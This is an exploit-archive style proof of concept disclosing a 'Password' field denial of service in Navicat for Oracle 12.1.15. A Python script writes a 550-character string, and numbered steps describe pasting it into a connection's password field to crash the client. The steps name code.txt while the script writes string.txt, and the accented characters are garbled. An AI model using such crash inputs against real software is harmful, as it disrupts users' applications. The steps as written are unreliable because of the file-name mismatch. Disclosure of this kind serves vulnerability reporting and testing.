Navicat For Oracle 12.1.15 Denial Of Service

`#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)  
#Discovery by: Victor MondragA3n  
#Discovery Date: 2019-02-14  
#Vendor Homepage: https://www.navicat.com/es/  
#Software Link: https://www.navicat.com/es/download/navicat-for-oracle  
#Tested Version: 12.1.15  
#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1  
  
#Steps to produce the crash:  
#1.- Run python code: Navicat_for_Oracle_12.1.15.py  
#2.- Open code.txt and copy content to clipboard  
#2.- Open Navicat for Oracle 12.1.15  
#3.- Select "ConexiA3n"   
#4.- Select "Oracle"  
#5.- In "Nombre de conexiA3n" type "Test"  
#6.- In "Tipo de conexiA3n" select "Basic"  
#7.- In "Host" type 1.1.1.1  
#8.- In "Puerto" type "1521"  
#9.- In "Nombre del servicio" type ORCL  
#10.- In "Nombre de usuario" type "user"  
#11.- In "ContraseA+-a" Paste Clipboard   
#12.- Select "Aceptar"  
#13.- Crashed  
  
cod = "\x41" * 550  
  
f = open('string.txt', 'w')  
f.write(cod)  
f.close()  
`